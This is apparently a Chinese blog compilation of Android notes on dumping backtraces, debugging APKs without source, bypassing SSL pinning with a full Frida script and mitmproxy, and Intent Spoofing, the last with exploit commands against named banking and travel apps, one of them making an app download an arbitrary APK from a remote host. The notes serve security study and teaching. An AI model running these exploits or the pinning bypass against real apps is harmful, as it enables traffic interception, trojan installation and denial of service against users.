Android 获取进程的 backtrace 信息

☆ 使用kill 发送 SIGNAL_QUIT

这种方法只能用于zygote 的子进程 (比如所有的 app 进程, 都是由zygote fork 而来).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# kill -3 pid

# cat /data/anr/traces.txt

...

suspend all histogram: Sum: 290us 99% C.I. 2us-40us Avg: 14.500us Max: 40us
DALVIK THREADS (12):
"Signal Catcher" daemon prio=5 tid=2 Runnable
| group="system" sCount=0 dsCount=0 obj=0x32c070a0 self=0xaecca000
| sysTid=1918 nice=0 cgrp=bg_non_interactive sched=0/0 handle=0xb4406930
| state=R schedstat=( 228351607 17443703 83 ) utm=12 stm=9 core=0 HZ=100
| stack=0xb430a000-0xb430c000 stackSize=1014KB
| held mutexes= "mutator lock"(shared held)
native: #00 pc 00370e01 /system/lib/libart.so (_ZN3art15DumpNativeStackERNSt3__113basic_ostreamIcNS0_11char_traitsIcEEEEiPKcPNS_9ArtMethodEPv+160)
native: #01 pc 0035046f /system/lib/libart.so (_ZNK3art6Thread4DumpERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEE+150)
native: #02 pc 0035a373 /system/lib/libart.so (_ZN3art14DumpCheckpoint3RunEPNS_6ThreadE+442)
native: #03 pc 0035af31 /system/lib/libart.so (_ZN3art10ThreadList13RunCheckpointEPNS_7ClosureE+212)
native: #04 pc 0035b45f /system/lib/libart.so (_ZN3art10ThreadList4DumpERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEE+142)
native: #05 pc 0035bb6f /system/lib/libart.so (_ZN3art10ThreadList14DumpForSigQuitERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEE+334)
native: #06 pc 00333cb7 /system/lib/libart.so (_ZN3art7Runtime14DumpForSigQuitERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEE+74)
native: #07 pc 0033b01d /system/lib/libart.so (_ZN3art13SignalCatcher13HandleSigQuitEv+928)
native: #08 pc 0033b901 /system/lib/libart.so (_ZN3art13SignalCatcher3RunEPv+340)
native: #09 pc 0003f45f /system/lib/libc.so (_ZL15__pthread_startPv+30)
native: #10 pc 00019b43 /system/lib/libc.so (__start_thread+6)
(no managed stack frames)

"main" prio=5 tid=1 Native
| group="main" sCount=1 dsCount=0 obj=0x74abb2a0 self=0xb4d76500
| sysTid=1914 nice=0 cgrp=bg_non_interactive sched=0/0 handle=0xb6f3fb34
| state=S schedstat=( 76934470 21396828 203 ) utm=3 stm=3 core=0 HZ=100
| stack=0xbe55e000-0xbe560000 stackSize=8MB
| held mutexes=
native: #00 pc 00040894 /system/lib/libc.so (__epoll_pwait+20)
native: #01 pc 00019e6f /system/lib/libc.so (epoll_pwait+26)

...

结果写在 /data/anr/traces.txt 文件中, anr 是 ANR(Application Not Response)的意思.

https://android.googlesource.com/platform/art/+/android-7.1.1_r13/runtime/runtime.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void Runtime::InitNonZygoteOrPostFork(
JNIEnv* env, bool is_system_server, NativeBridgeAction action, const char* isa) {

...

// Create the thread pools.
heap_->CreateThreadPool();
// Reset the gc performance data at zygote fork so that the GCs
// before fork aren't attributed to an app.
heap_->ResetGcPerformanceInfo();
if (!is_system_server &&
!safe_mode_ &&
(jit_options_->UseJitCompilation() || jit_options_->GetSaveProfilingInfo()) &&
jit_.get() == nullptr) {
// Note that when running ART standalone (not zygote, nor zygote fork),
// the jit may have already been created.
CreateJit();
}
StartSignalCatcher();
// Start the JDWP thread. If the command-line debugger flags specified "suspend=y",
// this will pause the runtime, so we probably want this to come last.
Dbg::StartJdwp();
}

可以看出非zygote的进程都会启动 Signal Catcher的 线程.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@shamu:/ # ps -t 2089
USER PID PPID VSIZE RSS WCHAN PC NAME
u0_a58 2089 386 1565280 53732 SyS_epoll_ b6cb0894 S com.hujiang.dict:pushservice
u0_a58 2092 2089 1565280 53732 do_sigtime b6cb0b68 S Signal Catcher
u0_a58 2095 2089 1565280 53732 unix_strea b6cb194c S JDWP
u0_a58 2096 2089 1565280 53732 futex_wait b6c875e8 S ReferenceQueueD
u0_a58 2097 2089 1565280 53732 futex_wait b6c875e8 S FinalizerDaemon
u0_a58 2099 2089 1565280 53732 futex_wait b6c875e8 S FinalizerWatchd
u0_a58 2100 2089 1565280 53732 futex_wait b6c875e8 S HeapTaskDaemon
u0_a58 2101 2089 1565280 53732 binder_thr b6cb09c0 S Binder_1
u0_a58 2102 2089 1565280 53732 binder_thr b6cb09c0 S Binder_2
u0_a58 2107 2089 1565280 53732 SyS_epoll_ b6cb0894 S Thread-123
u0_a58 2108 2089 1565280 53732 futex_wait b6c875e8 S taskService-pro

zygote 自己没有该线程.

root@shamu:/ # ps | grep -i zy
root 386 1 1528448 67416 poll_sched b6cb0a5c S zygote

127|root@shamu:/ # ps -t 386
USER PID PPID VSIZE RSS WCHAN PC NAME
root 386 1 1528448 67416 poll_sched b6cb0a5c S zygote
root 2203 386 1528448 67416 futex_wait b6c875e8 S ReferenceQueueD
root 2204 386 1528448 67416 futex_wait b6c875e8 S FinalizerDaemon
root 2205 386 1528448 67416 futex_wait b6c875e8 S FinalizerWatchd
root 2206 386 1528448 67416 futex_wait b6c875e8 S HeapTaskDaemon

https://android.googlesource.com/platform/art/+/android-7.1.1_r13/runtime/signal_catcher.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
...

void SignalCatcher::Output(const std::string& s) {
if (stack_trace_file_.empty()) {
LOG(INFO) << s;
return;
}
...

void SignalCatcher::HandleSigQuit() {
Runtime* runtime = Runtime::Current();
std::ostringstream os;
os << "\n"
<< "----- pid " << getpid() << " at " << GetIsoDate() << " -----\n";
DumpCmdLine(os);
// Note: The strings "Build fingerprint:" and "ABI:" are chosen to match the format used by
// debuggerd. This allows, for example, the stack tool to work.
std::string fingerprint = runtime->GetFingerprint();
os << "Build fingerprint: '" << (fingerprint.empty() ? "unknown" : fingerprint) << "'\n";
os << "ABI: '" << GetInstructionSetString(runtime->GetInstructionSet()) << "'\n";
os << "Build type: " << (kIsDebugBuild ? "debug" : "optimized") << "\n";
runtime->DumpForSigQuit(os);
if ((false)) {
std::string maps;
if (ReadFileToString("/proc/self/maps", &maps)) {
os << "/proc/self/maps:\n" << maps;
}
}
os << "----- end " << getpid() << " -----\n";
Output(os.str());
}

...

while (true) {
int signal_number = signal_catcher->WaitForSignal(self, signals);
if (signal_catcher->ShouldHalt()) {
runtime->DetachCurrentThread();
return nullptr;
}
switch (signal_number) {
case SIGQUIT:
signal_catcher->HandleSigQuit();
break;
case SIGUSR1:
signal_catcher->HandleSigUsr1();
break;
default:
LOG(ERROR) << "Unexpected signal %d" << signal_number;
break;
}
}
...

从源码中发现除了SIGQUIT 还可以发送 SIGUSR1 , 这个信号可以使进程java 虚拟机执行GC
操作 kill -10 pid

1
2
3
4
void SignalCatcher::HandleSigUsr1() {
LOG(INFO) << "SIGUSR1 forcing GC (no HPROF)";
Runtime::Current()->GetHeap()->CollectGarbage(false);
}

☆ 使用 debugged 命令行

这种方法是全系统通用的, 可以用于非zygote的进程.

1
2
Usage: -b [<tid>]
-b dump backtrace to console, otherwise dump full tombstone file

通过 -b 参数指定进程pid, 即可.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# debuggerd -b 23850

Sending request to dump task 23850.


----- pid 23850 at 1970-01-27 03:57:11 -----
Cmd line: /sbin/adbd
ABI: 'arm'

"adbd" sysTid=23850
#00 pc 0002b158 /sbin/adbd
#01 pc 0002467f /sbin/adbd
#02 pc 00020854 [stack]

"adbd" sysTid=23851
#00 pc 0002fd38 /sbin/adbd
#01 pc 0002a501 /sbin/adbd
#02 pc 0000000b <unknown>

"adbd" sysTid=23852
#00 pc 0002b624 /sbin/adbd
#01 pc 000106cf /sbin/adbd
#02 pc 00010301 /sbin/adbd
#03 pc 0002a613 /sbin/adbd
#04 pc 00030283 /sbin/adbd

"adbd" sysTid=23853
#00 pc 0002b628 /sbin/adbd
#01 pc 00013999 /sbin/adbd
#02 pc 000112ed /sbin/adbd
#03 pc 000104e1 /sbin/adbd
#04 pc 0002a613 /sbin/adbd
#05 pc 00030283 /sbin/adbd

"adbd" sysTid=23862
#00 pc 0002b888 /sbin/adbd
#01 pc 0000a503 /sbin/adbd
#02 pc 00009527 /sbin/adbd
#03 pc 0002a613 /sbin/adbd
#04 pc 00030283 /sbin/adbd

----- end 23850 -----
...

☆ java 代码中打印调用栈

1
2
3
4
5
6
try {  
...
} catch (RemoteException e) {
e.printStackTrace();
...
}

☆ C++代码中打印调用栈

CallStack.cpp

1
2
3
4
5
6
7
8
9
#include <utils/CallStack.h>

int main() {
android::CallStack stack;
stack.update();
stack.dump(1);

return 0;
}

Android.mk

1
2
3
4
5
6
7
8
9
10
11
12
LOCAL_PATH:= $(call my-dir)


include $(CLEAR_VARS)
LOCAL_SRC_FILES:= CallStack.cpp
LOCAL_SHARED_LIBRARIES += libutils
LOCAL_LDLIBS += -ldl -lutils

LOCAL_CFLAGS := $(common_CFLAGS)
LOCAL_MODULE := CallStack
include $(BUILD_EXECUTABLE)

执行后显示类似下面的结果

1
2
3
4
5

root@shamu:/data/local/tmp # ./CallStack
#00 pc 000006d1 /data/local/tmp/CallStack
#01 pc 00017359 /system/lib/libc.so (__libc_init+44)
#02 pc 0000074c /data/local/tmp/CallStack

使用Android Studio 调试无源码apk程序

Apk无源码调试的方法有很多,现在发现使用Android Studio 结合 JEB 感觉良好,
主要是参考 http://www.jianshu.com/p/c7899e5ea182 这篇记录下了具体步骤。

1. 下载 smalidea

https://bitbucket.org/JesusFreke/smali/downloads/smalidea-0.03.zip

在Android studio的插件仓库中没有找到这个插件,需要下载本地安装
File -> Settings -> Plugins -> Install plugin from disk 选择下载的插件,重启后生效。

2. apktool 输出源码文件

https://github.com/iBotPeaches/Apktool/releases/download/2.2.0/apktool_2.2.0.jar

1
java -jar apktool_2.2.0.jar d -f xx.apk -o xx

如果正常的将输出 smali 源码文件

3. Android Studio 导入源码

File -> New -> import project 选择刚才导出的xx文件夹

4. 增加Android Stuido的调试选项

Android Studio 界面上选择 Run-> Edit Configurations,点击+号,新建remote类型调试
器,默认的监听端口为5005,如果默认端口被占用则需要修改端口号。

5. 以调试模式启动应用

1
adb shell am start -D -n aa.bb/.activity

进程将挂起,aa.bb是package name,.activity 是要启动的activity 一般指定MainAcvitiy即可

6. 建立调试通道

1
adb shell ps | grep aa.bb

获得调试进程的pid

1
adb forward tcp:5005 jdwp:debug_process_pid

执行命令后,可以看到adb监听本地5005 端口。

1
2
> netstat -antp | grep 5005
tcp 0 0 127.0.0.1:5005 0.0.0.0:* LISTEN 4728/adb

7. 设置断点,调试

点击源码左侧栏可以设置断点,点击工具栏上的debug (一个小虫的按钮),开始调试。在
这个步骤上我遇上了一个错误。

java.io.IOException “handshake failed - connection prematurally closed”

这个错误是因为adb版本问题,取消Android内部的adb集成就可以了。具体方法是
Tools -> Android -> Enable adb integration 取消掉前面的勾就可以了。

如果看到Connected to the target VM, address: ‘localhost:5005’, transport: ‘socket’ 就大功告成了。

8. 其他一些说明事项

要调试apk程序是有一些要求的,下面几种情况可以调试apk程序。

  • /default.prop ro.debuggable=1

我的手机就属于这种情况

1
2
getprop  | grep ro.debug
[ro.debuggable]: [1]
  • APK 中AndroidManifest.xml 有这句 android:debuggable=true

Andorid 绕过 SSL Pinning 抓 https 报文

SSL pinning

SSL Pinning是一种防止中间人攻击的技术,主要机制是在客户端发起请求–>收到服务器发来的证书进行校验,如果收到的证书不被客户端信任,就直接断开连接不继续请求。可以发现中间人攻击的要点是伪造了一个假的服务端证书给了客户端,客户端误以为真。解决思路就是,客户端也预置一份服务端的证书,比较一下就知道真假了。

SSL-pinning有两种方式:证书锁定(Certificate Pinning) 和公钥锁定( Public Key Pinning)。

证书锁定

需要在客户端代码内置仅接受指定域名的证书,而不接受操作系统或浏览器内置的CA根证书对应的任何证书,通过这种授权方式,保障了APP与服务端通信的唯一性和安全性,因此客户端与服务端(例如API网关)之间的通信是可以保证绝对安全。但是CA签发证书都存在有效期问题,缺点是在证书续期后需要将证书重新内置到APP中。

公钥锁定

提取证书中的公钥并内置到客户端中,通过与服务器对比公钥值来验证连接的正确性。制作证书密钥时,公钥在证书的续期前后都可以保持不变(即密钥对不变),所以可以避免证书有效期问题,一般推荐这种做法。

(此小节内容摘抄自互联网)

总体思路

使用 mitmproxy https://github.com/mitmproxy/mitmproxy 进行抓包,使用 frida 绕过 SSL pinning, frida 的安装和使用这里就不再详述了,可以参考其他资料。

安装 mitmproxy

参考 https://docs.mitmproxy.org/stable/overview-installation/ 文档

可以直接下载 Linux binary: https://snapshots.mitmproxy.org/7.0.2/mitmproxy-7.0.2-linux.tar.gz, 或者使用 pip 进行安装 https://pypi.org/project/mitmproxy/
执行命令 ~/.local/bin/pip3 install mitmproxy --user

安装成功之后,有三个程序可以使用: mitmproxymitmdumpmitmweb

设置代理

在主机上执行下面几行命令设置代理

1
2
3
mitmweb -p 8080
adb shell settings put global http_proxy 127.0.0.1:8888
adb reverse tcp:8888 tcp:8080

mitmweb -p 8080 在本机起 8080 代理,在 Android 上设置 http 全局代理 127.0.0.1:8888, 最后将 Android 的 8888 端口转发到本机 8080 端口

设置 CA

https://docs.mitmproxy.org/stable/concepts-certificates/

1
The first time mitmproxy is run, it creates the keys for a certificate authority (CA) in the config directory (~/.mitmproxy by default).
Filename Contents
mitmproxy-ca.pem The certificate and the private key in PEM format.
mitmproxy-ca-cert.pem The certificate in PEM format. Use this to distribute on most non-Windows platforms.
mitmproxy-ca-cert.p12 The certificate in PKCS12 format. For use on Windows.
mitmproxy-ca-cert.cer Same file as .pem, but with an extension expected by some Android devices.

我们是 Android 应该使用 mitmproxy-ca-cert.cer,在 Android 系统安装的话,需要点击 设置 -〉安全 -〉 加密与凭证 -〉安装证书 -〉CA 证书

使用 frida 绕过 SSL pinning

使用 frida 脚本首先需要将 mitmproxy-ca-cert.cer 上传到 /data/local/tmp/cert-der.crt

使用脚本 https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
/*
Android SSL Re-pinning frida script v0.2 030417-pier

$ adb push burpca-cert-der.crt /data/local/tmp/cert-der.crt
$ frida -U -f it.app.mobile -l frida-android-repinning.js --no-pause

https://techblog.mediaservice.net/2017/07/universal-android-ssl-pinning-bypass-with-frida/

UPDATE 20191605: Fixed undeclared var. Thanks to @oleavr and @ehsanpc9999 !
*/

setTimeout(function(){
Java.perform(function (){
console.log("");
console.log("[.] Cert Pinning Bypass/Re-Pinning");

var CertificateFactory = Java.use("java.security.cert.CertificateFactory");
var FileInputStream = Java.use("java.io.FileInputStream");
var BufferedInputStream = Java.use("java.io.BufferedInputStream");
var X509Certificate = Java.use("java.security.cert.X509Certificate");
var KeyStore = Java.use("java.security.KeyStore");
var TrustManagerFactory = Java.use("javax.net.ssl.TrustManagerFactory");
var SSLContext = Java.use("javax.net.ssl.SSLContext");

// Load CAs from an InputStream
console.log("[+] Loading our CA...")
var cf = CertificateFactory.getInstance("X.509");

try {
var fileInputStream = FileInputStream.$new("/data/local/tmp/cert-der.crt");
}
catch(err) {
console.log("[o] " + err);
}

var bufferedInputStream = BufferedInputStream.$new(fileInputStream);
var ca = cf.generateCertificate(bufferedInputStream);
bufferedInputStream.close();

var certInfo = Java.cast(ca, X509Certificate);
console.log("[o] Our CA Info: " + certInfo.getSubjectDN());

// Create a KeyStore containing our trusted CAs
console.log("[+] Creating a KeyStore for our CA...");
var keyStoreType = KeyStore.getDefaultType();
var keyStore = KeyStore.getInstance(keyStoreType);
keyStore.load(null, null);
keyStore.setCertificateEntry("ca", ca);

// Create a TrustManager that trusts the CAs in our KeyStore
console.log("[+] Creating a TrustManager that trusts the CA in our KeyStore...");
var tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();
var tmf = TrustManagerFactory.getInstance(tmfAlgorithm);
tmf.init(keyStore);
console.log("[+] Our TrustManager is ready...");

console.log("[+] Hijacking SSLContext methods now...")
console.log("[-] Waiting for the app to invoke SSLContext.init()...")

SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation = function(a,b,c) {
console.log("[o] App invoked javax.net.ssl.SSLContext.init...");
SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").call(this, a, tmf.getTrustManagers(), c);
console.log("[+] SSLContext initialized with our custom TrustManager!");
}
});
},0);

执行下面命令,绕过 SSL pinning

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
frida -U --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida -F

____
/ _ | Frida 14.2.18 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at https://frida.re/docs/home/

[.] Cert Pinning Bypass/Re-Pinning
[+] Loading our CA...
[o] Our CA Info: O=mitmproxy, CN=mitmproxy
[+] Creating a KeyStore for our CA...
[+] Creating a TrustManager that trusts the CA in our KeyStore...
[+] Our TrustManager is ready...
[+] Hijacking SSLContext methods now...
[-] Waiting for the app to invoke SSLContext.init()...
[Pixel 2::智能生活]-> exit

其中 -F 参数 attach to frontmost application 不用指定 pid 或者包名,非常方便。

使用 mitmweb 查看报文

执行 mitmweb -p 8080 后可以用浏览器访问 http://127.0.0.1:8081/ 查看报文,如果需要共享报文数据可以使用
mitmweb 界面提供的 save 功能,会保存成一个 flow 文件,后面使用 mitmweb 界面提供的 open 打开报文文件即可展示报文详细信息。

参考资料

https://shunix.com/ssl-pinning/

Intent Spoofing 攻击

0. Android的安全模型

  • application sandbox
  • selinux
  • permissions
  • application signing

正是因为Application sandbox的存在,App进程之间是相互隔离的。有下面一个场景一个
App需要调用weixin来分享内容,如何处理?这就需要用到intent,告诉Android系统你的
意图是什么,Android系统将调用相应的处理程序来处理。

Intent 是一个将要执行的动作的抽象的描述,一般来说是作为参数来使用,由Intent来协
助完成android各个组件之间的通讯。比如说调用startActivity()来启动一个activity,或
者由broadcaseIntent()来传递给所有感兴趣的BroadcaseReceiver, 再或者由
startService()/bindservice()来启动一个后台的service.所以可以看出来,intent主要
是用来启动其他的activity 或者service,所以可以将intent理解成activity之间的粘合剂。

1. Intent

Intent有两种类型,Explicit Intent 和 Implicit Intent。

  • Explicit Intent

明确指定Intent的名字(全类名),当你使用Explicit Intent 启动Activity或者启动 Service,
Android系统会立即启动Intent对象所指定的Component。

  • Implicit Intent

指定Intent的ACTION,当你使用Implicit Intent,Android系统将通过比较 App Manifest
文件中所定义的Intent filter来启动符合要求的Component。如果只有一个Intentfilter
被匹配成功,系统将启动对应的Component,并递送Intent Object。如果有多个intent
filter是兼容的,系统将显示一个dialog,用户可以选择需要使用的component

下面用代码说明这两种Intent

Explicit Intent

1
2
3
Intent downloadIntent = new Intent(this, DownloadService.class);
downloadIntent.setData(Uri.parse(fileUrl));
startService(downloadIntent);

Implicit Intent

1
2
3
4
5
6
7
8
9
Intent sendIntent = new Intent();
sendIntent.setAction(Intent.ACTION_SEND);
sendIntent.putExtra(Intent.EXTRA_TEXT, textMessage);
sendIntent.setType(HTTP.PLAIN_TEXT_TYPE); // "text/plain" MIME type

// Verify that the intent will resolve to an activity
if (sendIntent.resolveActivity(getPackageManager()) != null) {
startActivity(sendIntent);
}

2. Intent Spoofing

Android Intent Spoofing是一个比较常见的问题。如果Android组件(component,service
receiver)是导出的话(exported=true),恶意程序可以使用 Explicit Intent向这个组件
发送Intent,Android无法识别这个 Intent是谁发送的,将会正常的执行请求的操作。

从上面的描述中可以发现,关键是 component要是导出的,而Android的component的导出的
默认值并不是固定的,这点我们从Google提供的文档可以证实。

http://developer.android.com/guide/topics/manifest/receiver-element.html

android:exported

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Whether or not the broadcast receiver can receive messages from sources outside
its application — "true" if it can, and "false" if not. If "false", the only messages
the broadcast receiver can receive are those sent by components of the same
application or applications with the same user ID.

The default value depends on whether the broadcast receiver contains intent filters.
The absence of any filters means that it can be invoked only by Intent objects
that specify its exact class name. This implies that the receiver is intended
only for application-internal use (since others would not normally know the class name).
So in this case, the default value is "false". On the other hand, the presence
of at least one filter implies that the broadcast receiver is intended to receive
intents broadcast by the system or other applications, so the default value is "true".

This attribute is not the only way to limit a broadcast receiver's external exposure.
You can also use a permission to limit the external entities that can send it
messages (see the permission attribute).

我写了一个程序测试具体的情况。

AndroidManifest.xml

1
2
3
4
5
6
7
8
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<receiver
android:name=".PhoneReceiver"
android:enabled="true">
<intent-filter>
<action android:name="com.nsfocus.test" />
</intent-filter>
</receiver>

测试程序注册了一个Receiver,这个Receiver处理 com.nsfocus.test Implicit Intent
包含了一个Intent Filter,在AndroidManifest.xml中没有明确声明这个reciever是导出的
还是未导出的。

receiver 的代码为

1
2
3
4
5
 public void onReceive(Context context, Intent intent) {
Toast.makeText(context, "Get it", Toast.LENGTH_LONG).show();

}
}

使用adb shell中发送广播

1
adb shell am broadcast -a com.nsfocus.test

可以看到Get it 的提示信息,也就是说 component 处理 Implicit Intent 时默认是
exported=true 的,这就是问题的关键。

下面修改代码改成 exported=false,看看是什么情况。

AndroidManifest.xml

1
2
3
4
5
6
7
8
<receiver
android:name=".PhoneReceiver"
android:enabled="true"
android:exported="false">
<intent-filter>
<action android:name="com.nsfocus.test" />
</intent-filter>
</receiver>

receiver 照样可以收到,显示”Get it”,所以在receiver里做校验是非常有必要的。因为
无论exported如何设置,只要里面包含了Intent Filter 就可以接受到消息。

2.1 一般解决方案

如果设置了 intent-filter,可以利用 android:permission 属性来要求广播发送者所
需要具有的必要权限,这样才不会产生权限绕过问题。

比如我在.PhoneReceiver里要实现收短信的功能,就应该写成这样

1
2
3
4
5
6
7
8
9
<receiver
android:name=".PhoneReceiver"
android:enabled="true"
android:permission="android.permission.SMS_RECEIVED"
android:exported="false">
<intent-filter>
<action android:name="android.intent.action.PHONE_STATE" />
</intent-filter>
</receiver>

这样广播发送者需要声明** android.permission.SMS_RECEIVED **权限,不然.PhoneReceiver就不
处理了,修改后测试发现确实收不到了。

2.2 漏洞实例

启用手机GPS

1
2
3
4
5
Intent intent = new Intent();
intent.setClassName("com.android.settings", "com.android.settings.widget.SettingsAppWidgetProvider");
intent.addCategory("android.intent.category.ALTERNATIVE");
intent.setData(Uri.parse("custom:3"));
mContext.sendBroadcast(intent);

上面这个例子是通过广播的方法进行攻击的,攻击的目标是com.android.settings.widget
Android并未提供操作GPS的API,但是通过上面这个方法却可以控制GPS的开关。而且更有趣
的是我们并没有声明任何和Location相关的权限 :)

widget是Android提供的桌面的小插件,就和KDE的之类的插件类似,可以通过Google提供的
API来开发。

custom:3 这个字符串比较诡异,其实可以在Android 的代码中找到

/com/android/settings/widget/SettingsAppWidgetProvider.java

1
2
3
4
5
private static final int BUTTON_WIFI = 0;
private static final int BUTTON_BRIGHTNESS = 1;
private static final int BUTTON_SYNC = 2;
private static final int BUTTON_LOCATION = 3;
private static final int BUTTON_BLUETOOTH = 4;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
@Override
public void onReceive(Context context, Intent intent) {
super.onReceive(context, intent);
String action = intent.getAction();
if (WifiManager.WIFI_STATE_CHANGED_ACTION.equals(action)) {
sWifiState.onActualStateChange(context, intent);
} else if (BluetoothAdapter.ACTION_STATE_CHANGED.equals(action)) {
sBluetoothState.onActualStateChange(context, intent);
} else if (LocationManager.MODE_CHANGED_ACTION.equals(action)) {
sLocationState.onActualStateChange(context, intent);
} else if (ContentResolver.ACTION_SYNC_CONN_STATUS_CHANGED.equals(action)) {
sSyncState.onActualStateChange(context, intent);
} else if (intent.hasCategory(Intent.CATEGORY_ALTERNATIVE)) {
Uri data = intent.getData();
int buttonId = Integer.parseInt(data.getSchemeSpecificPart());
if (buttonId == BUTTON_WIFI) {
sWifiState.toggleState(context);
} else if (buttonId == BUTTON_BRIGHTNESS) {
toggleBrightness(context);
} else if (buttonId == BUTTON_SYNC) {
sSyncState.toggleState(context);
} else if (buttonId == BUTTON_LOCATION) {
sLocationState.toggleState(context);
} else if (buttonId == BUTTON_BLUETOOTH) {
sBluetoothState.toggleState(context);
}
} else {
// Don't fall-through to updating the widget. The Intent
// was something unrelated or that our super class took
// care of.
return;
}

// State changes fall through
updateWidget(context);
}

可以发现无法对广播的发送者进行校验,收到广播就执行相关的动作。

江苏银行手机银行下载安装任意apk(可木马)

http://www.wooyun.org/bugs/wooyun-2010-0104992

AndroidManifest.xml

1
2
3
4
5
<service android:name=".UpdateService">
<intent-filter>
<action android:name="cn.jsb.china.UpdateService" />
</intent-filter>
</service>

UpdateService.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public int onStartCommand(Intent arg6, int arg7, int arg8) {

Bundle v0 = arg6.getExtras();

if(v0 != null) {
this.a = v0.getBoolean("isupdate");
}

this.b = arg6.getStringExtra("url");
this.c = this.getSystemService("notification");
this.d = new Notification();
this.d.icon = 17301633;

if(this.a) {
this.i = new RemoteViews(this.getPackageName(), 2130903048);
this.d.tickerText = "正在下载江苏银行";
}

else {
this.i = new RemoteViews(this.getPackageName(), 2130903043);
this.d.tickerText = "正在下载手机证券";
}

this.d.when = System.currentTimeMillis();
this.d.flags |= 2;
this.d.flags |= 32;
this.d.defaults = 4;
this.d.contentView = this.i;
this.d.setLatestEventInfo(((Context)this), "", "", PendingIntent.getActivity(((Context)this),
0, arg6, 0));

this.c.notify(this.j, this.d);
this.g = new jn(this, Looper.myLooper(), ((Context)this));
this.g.sendMessage(this.g.obtainMessage(3, Integer.valueOf(0)));
new jm(this, this.b).start();

return super.onStartCommand(arg6, arg7, arg8);

}

利用代码

1
am startservice -n cn.jsb.china/.UpdateService --ez isupdate true --es url http://192.168.102.204/mijian_2.5.1_272.apk

美团外卖客户端本地拒绝服务漏洞

http://www.wooyun.org/bugs/wooyun-2010-0106580

利用代码

1
adb shell am startservice -n com.sankuai.meituan.takeoutnew/com.sankuai.mtmp.service.MtmpService

航旅纵横手势锁轻易绕过及其它漏洞

http://www.wooyun.org/bugs/wooyun-2010-0111692

利用代码

1
am start com.umetrip.android.msky.app/com.umetrip.android.msky.activity.MainActivity

参考链接

Android Binder Fuzzing 的一些思路

1. binder 简介

Android安全模型的一个关键部分是每一个应用程序都被赋予一个唯一的 Linux 用户 ID 和组 ID,运行在自己的进程和 Dalvik 虚拟机里。
在应用程序安装的过程中,Android系统设备上创建一个专门的目录(文件夹),用于存储此应用程序的数据,并且仅允许应用程序利用
Linux 用户 ID 和组 ID 的相应访问权限对这些数据进行访问。此外,此应用程序的 Dalvik 虚拟机使用应用程序的用户 ID 运行在自己的进程中。
这些关键的机制在操作系统层面上强制数据安全,因为应用程序之间不共享内存、访问权限及磁盘存储。应用程序只能在它们自己的 Dalvik 虚拟机范围内访问内存和数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ps
...

u0_a16 2757 882 2574956 116944 SyS_epoll+ 0 S com.google.android.gms.persistent
u0_a128 2774 883 1939084 87720 SyS_epoll+ 0 S com.ss.android.article.news:push
u0_a16 2850 882 2322980 46592 SyS_epoll+ 0 S com.google.process.gapps
u0_a128 2887 883 2190568 181868 SyS_epoll+ 0 S com.ss.android.article.news
u0_a37 2900 882 2430908 58316 SyS_epoll+ 0 S com.google.android.googlequicksearchbox:interactor
nfc 2918 882 2351828 62356 SyS_epoll+ 0 S com.android.nfc
u0_a45 2930 882 2309884 43576 SyS_epoll+ 0 S se.dirac.acs
radio 2945 882 2313144 45592 SyS_epoll+ 0 S net.oneplus.push
u0_a0 2956 882 2304600 36360 SyS_epoll+ 0 S com.oneplus
system 2967 882 2307276 38088 SyS_epoll+ 0 S com.fingerprints.serviceext
system 2985 882 2309992 42044 SyS_epoll+ 0 S com.oneplus.opbugreportlite
u0_a142 2997 882 2370296 93324 SyS_epoll+ 0 S com.oneplus.aod
u0_a16 3018 882 2731976 165828 SyS_epoll+ 0 S com.google.android.gms
...

Android app 是由 Activity、Service、Broadcast 和 Content Provider 四大组件构成,而这些组件可能运行在同一进程中,也可能运行在不同的
进程中,而像 PowerManagerService等重要服务都运行在核心进程 system_server 里,所以 Android 系统必须实现一个靠谱的进程间通信机制 (IPC)。
Android系统基于 Linux 开发,Linux 中有很多进程间通信的方法,如 Signal、Pipe、Socket、Share Memeory、Semaphore, 但是 Android 系统并没有使用
这些进程间通信的方法,而是基于 OpenBinder 自己开发了一套进程通信的方法,Binder 是 Android 系统 IPC 通信的机制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ adb shell ps | grep system_server
